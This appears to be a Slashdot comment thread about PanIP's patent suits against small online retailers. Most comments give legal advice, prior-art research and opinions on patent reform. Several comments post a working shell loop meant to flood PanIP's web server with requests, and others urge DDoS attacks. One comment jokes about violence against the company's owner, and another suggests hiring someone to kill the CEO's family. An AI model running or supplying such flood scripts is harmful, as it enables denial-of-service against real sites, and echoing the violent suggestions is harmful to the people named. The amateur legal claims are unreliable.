Under Attack by PanIP's Patent Lawyers? 550
Matthew Catalano, of the Dickson Supply Company, asks: "I work for a small plumbing, heating, irrigation, and BBQ supply house. Over the past four we have built up quite a website that houses tons of information and offers many products for sale via an online store. Recently a company known as PanIP has decided to sue us on 2 counts of patent infringement. To the best of my understanding, as you can see from their website, they claim that they invented the use of text and images as a method of business on the Internet. They also claim that they invented the use of a form to enter customer information. Obviously this is ridiculous and most likely won't hold up in court! However, this is not the problem. PanIP has also sued 10 other small companies. PanIP chose small companies because they hope that none of them can afford the legal fees that would ultimately remove their patents. Most defendants, including us, want to opt to bail out for a smaller licensing fee of $30,000. PanIP will continue this vicious cycle on small companies of which many of you may become victim of. Eventually they will have so many cases under their belt that they will be able to attack larger companies." Yet again, the USPTO is used as a weapon in the free market. When will someone get a clue and put a stop to this type of digital extortion?
"I am hoping to release this story to the press so that the US Patent office finally wakes up, but the media is unpredictable and unreliable in terms of which stories they encapsulate. If there is anyone out there who has any ideas about stopping PanIP or can help us out in any way it would be appreciated. Otherwise, just pass this along to everyone you know and hopefully something will come of it.
There is also a page we have constructed that reveals some more details."
Sue em back! (Score:2, Insightful)
Re:Sue em back! (Score:3, Interesting)
btw, anybody know what happened with that issue? I haven't anything about the windowing patent for quite some time.
Re:Sue em back! (Score:2)
hawk
No point... (Score:2, Insightful)
Counter sue (Score:2)
Re:Counter sue:NONO SETTLE! (Score:2)
Since M$ is %90 of the content deliver market, they're breaking panIP's patent %90 of the time.. Who knows maybe they'll go after them next.
counter sue (Score:2, Informative)
Represent yourself, go through with the lawsuit and then slap them with a counter law suit for your time, money and efforts. This case has got to be dismissed based on what you have told us about it.
Perhaps you and all the other victims could pool your resources and counter as a collective group to reclaim damages.
Prior Art (Score:5, Interesting)
Re:Prior Art (Score:2)
Re:Prior Art (Score:2)
Re:Prior Art (Score:3, Insightful)
Come to think of it, that sounds like a good way to fight these frivolous patents: DDoS their servers...
Time for a major overhaul of patent law (Score:3, Informative)
consolidate your legal challenges (Score:5, Interesting)
ACLU, EFF, SLAPP (Score:5, Informative)
If the case is somewhat novel, then the ACLU or EFF have pooled together funds from many people in order to be able to set good precendents.
If the suit will obviously fall in favor of the defendant, can't you get a good lawyer to file a SLAPP suit, and you won't have to pay the lawyer unless you win?
Re:ACLU, EFF, SLAPP (Score:3, Informative)
There is also FRCP Rule 11 (Score:5, Informative)
Some questions: (Score:4, Informative)
What state are you in? is it the same as PanIP? They have to sue you in your home state, remember. At the very least, make the proceedings as expensive for them as possible.
Most importantly, do not settle. You will end up validating a thouroughly disgusting business plan.
Re:Some questions: (Score:5, Informative)
This is completely incorrect. They can sue him in any state in which he his company does business, has shareholders, or is incorporated. A suit was once permitted against an insurance company in a state in which they had one customer (See McGee v. International Life Insurance Co., 355 US 220 [1957]).
To the person who posted the story-- please contact a lawyer in your jurisdiction. (Or the EFF or another public service organization) Given the possibility here for a countersuit for abuse of process, and potentially fraud, you might be able to get someone willing to take the case on contingency, if you can't afford legal fees and can't find someone willing to do it for free.
To the moderators: IAAL, though not a member of the patent bar.
While the above is legally correct to the best of my knowledge and experience, don't rely on it-- see a lawyer in your jurisdiction for legal information.
Re:Some questions: (Score:4, Informative)
All information we hold so far is at our site:
http://panipcase.homeip.net
-Matt Catalano
zerg (Score:3, Funny)
Easy:
Most defendants, including us, want to opt to bail out for a smaller licensing fee of $30,000.
When people stop making money by patenting fake things and suing people and making money.
but the media is unpredictable and unreliable in terms of which stories they encapsulate.
If you have a problem, if no one else can help you, and if you can get them to accept your submission, maybe you can hire ASK SLASHDOT!
Otherwise, just pass this along to everyone you know and hopefully something will come of it.
Chainmail! The solution to all of life's problems...
Re:zerg (Score:2)
Screw that, just hire BA to throw the bad guys helluva far. Besides, between all the phone commercials and other promos, it seems like the guy might be a little desperate for money.
Clever buggers (Score:5, Funny)
Guess I'll just have to go do an old-fashioned DDoS instead....
Re:Clever buggers (Score:2)
Time to start looking...
Re:Clever buggers (Score:3, Interesting)
I have to agree -- this page [panip.com] is the largest on their web site, and it's only 54830 bytes. Still it is the largest [panip.com], and would therefore be the best way to slashdot the site, wouldn't it [panip.com]?
Re:Clever buggers (Score:4, Funny)
while : ; do
echo GET
echo Host: www.panip.com
echo Connection: keep-alive
echo
done | telnet www.panip.com 80 >/dev/null
Launch it early. Launch it often. Launch it in the background. Launch it in a loop. Vary the URL (after the GET).
And with a little bit of luck, they pay for their bandwidth, and won't have any money left for their lawsuits...
Re:Clever buggers (Score:3, Informative)
while : ; do
while : ; do
echo GET
echo Host: www.panip.com
echo Connection: keep-alive
echo
done | telnet www.panip.com 80 >/dev/null 2>/dev/null
done
Have fun!
Re:Clever buggers (Score:4, Insightful)
Leaving off the www gives "The site panip.com is running Web Servinator v0.3 (v.terbo) on FreeBSD." Their netblock is "E.D.G.E. Inc", in San Diego.
Note that I REALLY recommend that people NOT hack/DoS/otherwise mess with their site; that's only going to make things harder for the people they're suing. ("Your Honor, not only are these people violating our patent, but they're also deliberately causing massive DDoS attacks against our servers." Sure, that's a load of crap, but so's the lawsuit; the last thing they need is to try to defend themselves against two frivilous lawsuits, and the DoS thing would almost have some merit.
So my point is twofold:
What about MY patent? (Score:5, Funny)
Might as well make that check out to me..
Re:What about MY patent? (Score:3, Funny)
Someone should submit a patent on patenting things, and see if it gets through. Use business speak, and lots of five dollar words, and I bet it gets granted.
How awesome would it be if someone was then able to sue the patent office for patent infringement!
Yeah, well, I can dream can't I?
Three words... (Score:5, Informative)
Fight 'em all the way.
EFF, and working with other targets (Score:5, Informative)
Re:Three words... (Score:5, Funny)
Get somebody to have an informal conversation with PanIP's leader about the health benefits of leaving your company alone.
They should know that the benefits are many: continued orthapedic mobility, original dentition, full use of digits. It's a family plan, too -- his or her daughter or son retain the dignity and innocence they've always enjoyed. And it's an umbrella that can even extend to one's car, home and other prized personal possessions which are so often the victim of unplanned catastrophes like fires and explosions.
You would think that someone that would make a business out of patent enforcement would eventually run into someone who can play that game a lot better. Extortion and strong-arm tactics with lawyers is generally the gateway to extortion and strong-arm tactics with guys with funny accents and a bad sense of humor.
Fight the patent (Score:2, Informative)
Either way, your lawyers should be quite capable at finding the prior art to stop this. I would strongly recommend that all of the companies being sued band together to kill the patents.
The RAMBUS approach. (Score:2)
Maybe your company could join the others that were extorted money and try to prove that the patent claims have no ground. If everybody sues for punitive damage and fraud, there could even be money to gain... Of course, IANAL...
Safety in Numbers (Score:3, Interesting)
It seems that your case is very strong and at least some of the other organizations will recognize this as well. Banding together with the other companies will 1) Reduce your legal fees 2) Strengthen your case 3) Give all of you more negotiating power with PanID.
IANAL
What Patents? (Score:3, Informative)
You just might be able to get some useful pointers to prior art which could be used in your counter-suit.
Re:What Patents? (Score:5, Informative)
Re:What Patents? (Score:5, Informative)
Specifically, 5,309,355 (filed in 1993) is a claim of originality that is quashed by evidence that American Airlines SABRE system went online in the early 80's (I forget exactly when it was but it was WELL before 1986), 5,576,951 appears to be a claim against all of computer networking in general (the first computer network communication occurred in 1967).
6,289,319 doesn't appear to relate to Dickson Supply's business because the claims there relate strictly to automatic screening of loan applications. Now if PanIP, LLC wants to take on Bank of America, Chase, Wells Fargo and ditek.com, that's their business, but I think those companies can raise a war chest exceeding what even Microsoft could raise.
When I first read this article, I didn't think this matter would be appropriate for class action treatment, but having read the patent claims, if PanIP thinks they can construe the claims broadly enough to cover Dickson Supply's business, then every single e-commerce site on the 'net is threatened. That class of Plaintiffs is DEFINITELY large enough to justify certification as a class.
I would STRONGLY recommend that you bring these lawsuits to the attention of some of the larger companies doing business on the web and see if they have an interest in attacking these ridiculous patents. Somebody has to do SOMETHING or the pain will never end!
two word answer: (Score:3, Redundant)
Isn't this the sort of thing the EFF exists for?
To everyone else, join the EFF and make a donation, because the lesson learned in this case is that small guys need big friends, and if all the small guys in the world banded together, bullying tactics like this wouldn't work. Someday you just might be the small guy.
Time to make this illegal... (Score:5, Interesting)
Futhermore I think that patents on IT need to be granted or refused within a very short time or alternatively be automatically voided if the "invention" is in broad use when the patent is finally granted.
Interesstingly German patent law had the requirement that only inventions that are significantly more inventive than what an average expert can come up with could be patented at all. Sadly it seems that with the EU this is not valid for software patents anymore.
Re:Time to make this illegal... (Score:3, Insightful)
What do you suggest doing to the USPTO? If you throw the people who inspect patents in jail, or fine them, you'll end up with fewer people reviewing patents, making the problem worse, not better. Fining the office as a whole wouldn't help either - the USPTO would either end up with a reduced budget, hence leading once again to forementioned problem, or their budget would expand appropraitely, increasing the federal budget in turn and raising taxes and/or the public debt.
What I suggest... (Score:5, Insightful)
2) Patent examiners get paid a bonus for each case of prior art they find which invalidates the patent
3) Patent examiners get paid a bonus if they reject a clearly frivolous/and or obvious patent.
4) Patent applicants are fined for filing clearly fraudulent patents.
5) Repeat offenders of 4) are sentenced to prison terms.
Re:Time to make this illegal... (Score:3, Interesting)
It should be obvious, that the current practice of US patent law hurts small businesses and startups most and generally slows down innovation. The only people who win by this are lawyers and scum like PanIP.
Loser pays (Score:3, Interesting)
Seems to me it would be worthwhile to adopt a "loser pays" system. PanIP would be free to sue this guy's company all they want, but when PanIP loses in court, they has to pay the other side's legal bills. Think of all the worthless lawsuits people file with lawyers who know they don't have a case, but are just throwing them out there to see who'll settle (*cough*JesseJackson*cough*). They're probably think twice about it, and make sure they actually have legal leg to stand on if they knew they'd have to foot the bill if they lose.
Re:Loser pays (Score:3, Insightful)
There is similar rules in many states.
you're golden (Score:2)
Even if you can't afford it, a public defender should suffice to clear you of these absurd charges.
Wow, even the name "PanIP" repulses me. Literally, it's "all intellectual property" or something. I don't even want to imagine what the people who own this company are like. Not the type you'd invite over to watch the game, that's for sure.
that's not their idea... (Score:5, Funny)
Everyone knows it was Al Gore who invented that!!!
Call the folks at Amazon! (Score:4, Interesting)
Contact the EFF (Score:2, Informative)
Of course, there is also a chance that they don't really want to go to court either (since this has scam all over it), so tell them to go fuck themselves and see what they do.
someone should report this terrorist in! (Score:2)
Loser Pays would go a long way towards fixing this (Score:2, Interesting)
What is this crap? (Score:2)
http://patft.uspto.gov/netacgi/nph-Parser?Sect1=P
Re:What is this crap? (Score:3, Insightful)
The patent is probably not as broad as you were thinking. The term "means" is a very dangerous one for a patentee. See Chiuminatta Concrete Concepts, Inc. v. Cardinal Indus., Inc. [georgetown.edu]
The patents do not apply (Score:2)
Sue the USPTO? (Score:3, Interesting)
Pan IP should sue M$ (Score:2)
Let them know where we stand! (Score:5, Informative)
Please mod this up so Slashdot can continue to be the efficient political machine it often has been in the past. Just a simple call saying you dont like what they're doing, and mention the details of this situation, should be enough to make them think twice if everybody calls.
Here are the contacts, from http://www.panip.com/corpinfo.htm [panip.com]:
Mailing Address:
PanIP
329 Laurel Street
San Diego, California 92101-1630 USA
Telephone: 858-454-7095
Email: rmercado37@yahoo.com (really professional...)
Fax: 858-454-4358
The following lawyers help them in their tirade. CC and call them all. I'll begin with a copyable email list. The rest need to be contacted by phone:
webmaster@lyonlyon.com, kwalkerlaw@cox.net, info@chiresearch.com
And for those that would rather call, including some attorneys with no email address (What's up with that? Hello, 2002? Hello?)
BUCHACA, JOHN D. & HENRI CHARMASSON
1545 HOTEL CIRCLE SOUTH
SUITE 150
SAN DIEGO, CA USA 92108
619-294-2922
Kathleen M. Walker
3421 Thorn Street
San Diego, California 92104
Phone Number: 619-255-0987
Fax Number: 619-255-0986
kwalkerlaw@cox.net
Luce Forward Hamilton Scripps
Phone: (619) 236-1414
Fax: (619) 232-8311
600 West Broadway, Suite 2600
San Diego, CA 92101
And finally, their technical advisor:
CHI Research Inc.
10 White Horse Pike
Haddon Heights, NJ 08035 USA
Phone (856) 546-0600
Fax (856) 546-9633
email: info@chiresearch.com
this kind of subject... (Score:3, Funny)
Boo hoo (Score:2)
If you don't defend yourself against this abuse, _you are part of the problem_. Slashdot cannot help you, especially since you've already decided to settle. <constructive>If it isn't too late, call the EFF, perhaps they can help.</constructive>
(-3, Flamebait)
IANAL, but... (Score:3, Informative)
there's a term to describe this: barratry.
Here's a definition from the Bernard Shifman is a Moron Spammer [petemoss.com] (I know, but it was the first reference that came to mind):
If this PanIP company is seriously pursuing this sort of patent, this seems like good grounds for a countersuit...
Somebody patent the 'Scumbag' and make them stop! (Score:2)
http://patents1.ic.gc.ca/details?patent_n
I'm glad they're going public. Good luck to him!
-b
Well isn't that special (Score:2)
Having a look at PanIP's website, they list "PricewaterhouseCoopers" as their accountants.
Interesting that at This Link [pwcglobal.com], PricewaterhouseCoopers has... well lookit that, a form where you enter your information so they can contact you.
Wonder if they made their own accountants pay them for their (non)intellectual property.
Wierd... (Score:4, Interesting)
http://www.google.com/search?hl=en&q=PanIP+pate
results in zero returned results...
Their website looks very crummy too - are you *sure* they are a legitimate business? I mean it's *very* hard to escape google's search with *zero results*.
You might just scare them off if you go "see you in court".
-- Dan "who is off to look up USPTO on PanIPs patents now..." =)
Some Investigation results... (Score:5, Informative)
Lawrence B. Lockwood appeals from the final judgment of the United States District Court for the Southern District of California, Lockwood v. American Airlines, Inc., No. 91-1640E (CM) (S.D. Cal. Dec. 19, 1995), granting summary judgment in favor of American Airlines, Inc. In that summary judgment, the court held that (1) U.S. Patent Re. 32,115, U.S. Patent 4,567,359, and U.S. Patent 5,309,355 were not infringed by American's SABREvision reservation system, and that (2) the '355 patent and the asserted claims of the '359 patent were invalid under 35 U.S.C. 102 and 35 U.S.C. 103, respectively. Lockwood v. American Airlines, Inc., 834 F. Supp. 1246, 28 USPQ2d 1114 (S.D. Cal. 1993), req. for reconsideration denied, 847 F. Supp. 777 (S.D. Cal. 1994) (holding the '115 and '359 patents not infringed); Lockwood v. American Airlines, Inc., 877 F. Supp. 500, 34 USPQ2d 1290 (S.D. Cal. 1994) (holding the asserted claims of the '355 patent invalid and not infringed); Lockwood v. American Airlines, Inc., 37 USPQ2d 1534 (S.D. Cal. 1995) (holding the '359 patent invalid). Because the district court correctly determined that there were no genuine issues of material fact in dispute and that American was entitled to judgment as a matter of law, we affirm.
so there you go: already after a few searches I've found out that 3 patents are already not wirth anything: http://www.panip.com/patents.htm ('115, '359, '355)
-- Dan "who has limited knowledge of law, but can surf the web" =)
Re:Some Investigation results... (Score:3, Informative)
> I've found out that 3 patents are already not
> wirth anything:
> http://www.panip.com/patents.htm
> ('115, '359, '355)
I think you are too quick:
The entire patent '359 is invalid, and some claims of patent '355 are invalid.
Patent '115 was not infringed by American Airlines, but that doesn't means that the patent is invalid.
But your main point is correct, it seems that they list patent '355 on their website, but the court held "the '355 patent invalid under 35 U.S.C. 102(b)". And the appeals court agreed, and it seems that the case was not sent to the supreme court.
RICO, it's not just for gangsters... (Score:3, Informative)
1) The court decision cited above invalidated the '355 patent completely, yet PanIP lists it on their website, along with a section entitled "Choosing a Stock Portfolio Based on Patent Indicators". They are trying to sell stock based, in part, on an invalid patent. Isn't this fraud?
2) PanIP evidently makes no products and apparently does nothing but file vaguely worded patents, then attempt to collect royalties on them. Judging by the two patents I looked at ('319 and '355), they ignore obvious prior art in their filings -- isn't that fraudulent too?
3) Since their business plan seems to be based on obtaining income through actions verging on fraud, barratry, etc., would RICO apply?
Re:Wierd... (Score:4, Informative)
PANIP, LLC Number: 200207410071
Date Filed: 3/12/2002
Status: active
Jurisdiction: CALIFORNIA
Principal Address
1168 VIRGINIA WAY LA JOLLA, CA 92037
Agent for Service of Process
WILLIAM G WILHELM
1168 VIRGINIA WAY LA JOLLA, CA 92037
The date filed part is interesting... the principal address and the agent for service of process entries might just be the address for their lawyer however.
If anybody is feeling really interested, you can pay to get copies their records which I'm sure list the names who is actually running the company from the same website.
It's a con - move on, move on. (Score:3, Informative)
Contact email address is: rmercado37@yahoo.com
Contact phone numbers (voice/fax) are both unlisted (www.infospace.com)
The website was only registered in 2000 - rather surprising for a supposed world player in IT.
The HTTPs server has some weird, weird unrelated stuff on it: https://www.panip.com/index.htm
The hosting company's website is not exactly professional - at least, I don't think an empty directory listing is very good: http://www.edgeinc.org
Chuck in a cut-and-paste job legal disclaimer (Google for its key-phrases) and we start to smell a scam.
Sounds Like a Story for Sixty Minutes (Score:2)
Contact info [cbsnews.com]
Organize! (Score:2)
How many businesses use web form entry? 1,000,000? If you just get 10,000 to kick in a $1000 each you'll have these dogs back to licking their balls clean in no time.
Not working... (Score:2)
rmercado37@yahoo.com (Score:2, Insightful)
No worries here. (Score:2)
Shutdown your business (Score:2)
Counter sue (Score:2)
The answer is obvious (Score:2)
As for ANYone claiming to have invented anything having to do with the use of text, images and forms on the internet for ANY purpose, I think Tim Berners-Lee [web.cern.ch] and the people at CERN might have a little tiny bit to say about *cough* prior art *cough*.
NOT "digital extortion" - just plain old extortion (Score:5, Informative)
With patents, however, asserting a patent known to be invalid is an ANTITRUST VIOLATION. The opposing party can get treble damages plus attorneys fees. Also, if the case is not well founded, the patent statute (specifically 35 U.S.C. sec. 285) allows a judge to declare the case "exceptional" and award attorneys fees to the prevailing party. Infringement defendants use this provision to recoup defense costs of patent cases that are not well founded.
Also, because patent cases are EXCLUSIVELY federal, the Federal Rules of Civil Procedure, spoecifically Rule 11, requre attorneys to certify that cases filed are well founded. The Court of Appeals for the Federal Circuit, which has exclusive jurisdiction over appeals of patent cases, has held in View Eng'g v. Robotic Vision Sys., 208 F.3d 981 (Fed. Cir. 2000) that Rule 11 requires an attorney to "read the claims onto an accused device." The process of reading claims means that you identify each element of the claim in the patent and then find a corresponding feature in the device you accuse of infringement. Rule 11 allows judges to sanction parties who fail to do that step.
Unfortunately, competent patent counsel are few and far between. I have seen cases brought by sole practitioners who spend their days doing personal injury work and have no concept of patents or the technology of the invention. This is how many frivolous suits get filed - by practitioners who do not take the time to learn the law and advise their clients properly. Also unfortunately, the only way to end it is to stomach it out and fight to the end to invalidate the patent. The words "legal defense fund" come to mind here.....
Banding together... (Score:4, Insightful)
Furthermore, I took a look at the patents (admittedly, only the abstracts), and while not as depicted as explained [homeip.net], still very vague and very obviously a stragety, not an actual protection of IP. First [uspto.gov] and second [164.195.100.11].
Looking at the abstract for the former of the above listed, I have a few qualms (besides with the whole thing entirely). The claim that they can have an infinite number of variations in the abstract (actually, on a quick search, they go into further details in the summary of the invention), it doesn't seem to me that what you're implementing can possibly be infinite. Note, I certainly ANAL (yet), but it just seems out of place.
Moving on to the second patent and it's respective abstract... it seems to me that such a patent had to be filed before September 11, 2001 (when the patent was made, hell throw that in your closing speech) as it seems the way it's described in both the abstract and summary of invention is very much alike to many implementations set forth by other companies, not just internet, but stores as well.
Good luck with that all. Open up a donation bin. I, for one, will throw in.
R.I.C.O. or street justice (Score:2)
Racketeer Influenced Corrupt Organizations Act, that is. IANAL but if the act does not apply here, it certainly needs to be amended to cover this situation. PanIP is the latest in an endless chain of corporations that demonstrate exactly why we need to forever forget the silly laissez-faire pipe dream and start playing hardball with corporations. Once white collar types start seeing the inside of prisons or their buddies (other CEOs) get the chair, then they might be concerned about ethical practices.
In the meantime, someone needs to DDOS the fuck out of PanIP. Forget "Ask Slashdot", try opening the yellow pages or searching google [google.com] to find someone to kill the CEO's wife and kids, or just opening the blue pages of your phone book and looking up your friendly local U.S. Attorney. Good luck!
HTTPS! QUick before they take it down! (Score:4, Interesting)
Check it out! Quick, before they take it down.
Very weird, very confusing... [panip.com]
Re:HTTPS! QUick before they take it down! (Score:3, Interesting)
We too, were targeted by leeches. (Score:5, Informative)
A few years ago, a small company I worked for was targeted by some leeches like this, who had filed what our lawyers called a "submarine" patent, which is that they had an old patent, on a vague technology, and updated the filing to try to fit it to Internet terms.
They then started going after small companies such as ours, with the hope, just like PanLeeches that the smaller companies would lack the resources to properly fight them, and would just suck it up and pay the licensing fee.
Well, we didn't have the money, but we sure as hell weren't going to be bullied by these jerks. So we got a *really* good patent attorney, and it took about three letters from him, and the leeches disappeared.
In the end, it cost us a couple thousand dollars to fight it, but it was worth every cent. We never went to court because we established very early on that 1) we were *not* going to be push-overs, and 2) we hired *good* counsel, and that perception of losing to us in court was worth them leaving us alone to go pick on someone else.
Good luck to you in your cause. These freaks should be thrown to the wolves.
Give me a break! (Score:3, Insightful)
Get yourself a decent lawyer. Per the complaint (and the specific patent information) you have posted on your website those guys don't stand a chance!
For example, in their Patent material they talk about customers dialing into the described system. Do all of your customers dial up to get to your website? Well, I looked at your website and I don't use a dialup system.
Also, all of the patent information is related to the travel industry. You are in the plumbing business. A good lawyer will find holes in their "argument(s)" big enough to drive an 18 wheeler through.
Per what I saw their patent is very specific in nature. They goofed up by not making it as general as possible. All you gotta do is review the patent for the business steps (logic) they propose and find where your business differs.
IANAL, but my understanding of patents are that they relatively easily gotton around. I believe you merely need to show how you have created the same thing but in a different manner.
Otherwise, for example, how could say Ford and GM compete with essentially the same "gadgets" in their automobiles. They do it by merely doing the same thing in a different manner.
Do a little research on the web on patents (www.findlaw.com is a good place to start) to prime yourself. And then go out and spend a couple of thousand on a lawyer. Stop wasting time, you're probably gonna have to do it regardless. It will be well worth your time.
BTW, I'm no fan of lawyers, but when you need one then it's best to just buckle up and get one rather than wasting time. It can save you a lot of pain and agony in the end.
Alternative to Lawsuit (Score:5, Informative)
You can usually find someone who is willing to help you with the first few steps of the process at least for less than $30K. And I do agree with the above posters, you should band together with the other companies that have been sued. You can at least work together on the first few steps (finding references & writing the initial brief.)
Thalia
Re:Alternative to Lawsuit (Score:3, Informative)
Oh yes, and they pay folks with CS degrees ~$35K to start, to live in DC. Odds that they'll get competent examiners at that salary are between slim and none.
Thalia
Another patent suit by the owner..... (Score:4, Informative)
http://www.kentlaw.edu/student_orgs/jip/patent/lo
All joking and attempting to dispute the patent aside it might be worth a look to see if your company is violating everything in the patent, if not you can get off (though I am no lawyer).
Get EFF to help sue the USPTO! (Score:3, Interesting)
Sure, they're a government agency, but they ARE doing harm by granting these patents. They ARE costing businesses money, and probably end up making some go bankrupt trying to fight these crap patents (or through paying silly license fees).
Can't they be sued for gross negligence or something similar... A good suit like that would go a LONG way towards stopping the endless stream of crap that they've granted.
Just my non-lawyerly $0.02.
MadCow.
Lawrence B. Lockwood.... (Score:5, Insightful)
Basically Mr. Lockwood tried to sue American Airlines over their SABRE system using the '359 patent and the district court found that SABRE did not violate the patents due to prior art (like the fact that SABRE has been around since 1962). The linked decision is an appeal that Mr. Lockwood made to the federal appeals court that was rejected. Worth a good read to see how it would apply here.
This is why we need "loser pays" (Score:5, Insightful)
Of course, the system has to have some careful safeguards in place, such as a small maximum reasonable amount of court fees to be responsible for (so that, for example, Joe Schmo doesn't have to take on the risk of paying for Microsoft's expensive lawyers if they sue him - he only takes on the risk of possibly paying for more reasonably priced run-of-the-mill lawyers no more expensive than his own.)
Personally, the safeguard I would like to see is that you end up only being financially responsible for the opponents' lawywers up to the amount you paid for your OWN lawyers. So if your laywer cost $3,000, and your opponent's lawyer cost $500,000, you at most could end up paying $6,000 if you lose ($3,000 for your own, and $3,000 worth of the opponent's lawyer's fee) If you think the case is so incredibly frivolous that you can defend yourself, you don't incur any risk of paying for the opponent's lawyers at all.
Re:This is why we need "loser pays" (Score:4, Insightful)
Re:This is why we need "loser pays" (Score:5, Interesting)
All that happens in the UK is that the big firms pump up the cost of the lawsuit as far as they can (hiring the most expensive lawyers, transporting them around, etc). If they are suing a small firm, or especially a private individual, they know that if they have to pay his costs it's barely a blip on a balance sheet, but if he has to pay theirs it could gut his business or bankrupt his family in a single fell swoop. The result is the same: they settle to avoid the risk.
The proposed system is interested, but I'd make a change: you have to pay, to BOTH lawyers, whatever you paid yours. So if yours cost $3000 and the other guy's cost $500000 and you lose, you pay only $6000... but if you WIN, the other guy has to pay $1000000, and your lawyer gets an extra $497000! (Hey, he deserves it for beating a higher-paid lawyer, right?) This ensures that the big firms still have to worry about paying costs if they lose, as opposed to being able to say '$3000? Pah.' It also, of course, means that small guys won't have much of a problem finding a lawyer in these cases...
State AG: Press Charges for extortion/fraud (Score:3, Insightful)
Site for PanIP case defendants (Score:3, Informative)
Re:When hell freezes over? (Score:2)
And apparently... bullshit walks. They're called patent attorneys.
Re:My patent (Score:2)
Is this true?
I guess it's sad that I even have to ask...
:(
Re:My patent (Score:2)
Better hope Despair doesn't nail you for trademark infringement [slashdot.org] for your post...:-)
Re:Anti-SLAP laws (Score:4, Informative)
And no, I'm not a lawyer, but I'm also not an idiot who just babbles nonsense without any idea about what he is talking.
Re:One way out of this... (Score:2)
-
Your either with us, or against us.. - Bush
3 words: (Score:2, Insightful)
Patenting a form of user input for a website, is about as stupid as patenting a a method to swing on playground equipment, but as we can see, they both held up at the patent office, the fact that such stupid patents as 'playground swinging methods' have been accepted by the patent office, obviously shows that the whole system needs to be overhauled
Software patents are not the root of all evil. (Score:3, Insightful)
And secondly, if we did the above, PanIP would not have been granted the patent. Nor would the guy who patented a method of swinging. Or many other stupid patents. Patents were designed to allow ingenious people protect their inventions and ideas. The method for inputting customer information on a computer is extremely obvious, and thusly doesn't qualify for a patent under current legislation. Or their 'invention' of the process of doing business by using the combination of images and text. Again, very obvious. I agree that 'processes', even in software, can and should be patented. I DO NOT agree that the end results should be able to be patented.
Some people disagree with Amazons '1 Click Purchase' patent. I don't. The text of their patent describes how it works, not just that a single click can purchase something. PS:Great business idea. There's no easier way to sell than with INSTANT GRATIFICATION.
I even agree with our legislation.
A software patent should something not obvious, and should explicitly and exactly outline a process. If we had Patent examiners who gave two shits about their job, things like these wouldn't happen. But, we'd probably have to pay them better. Mr. Bush probably gave all of their money to the army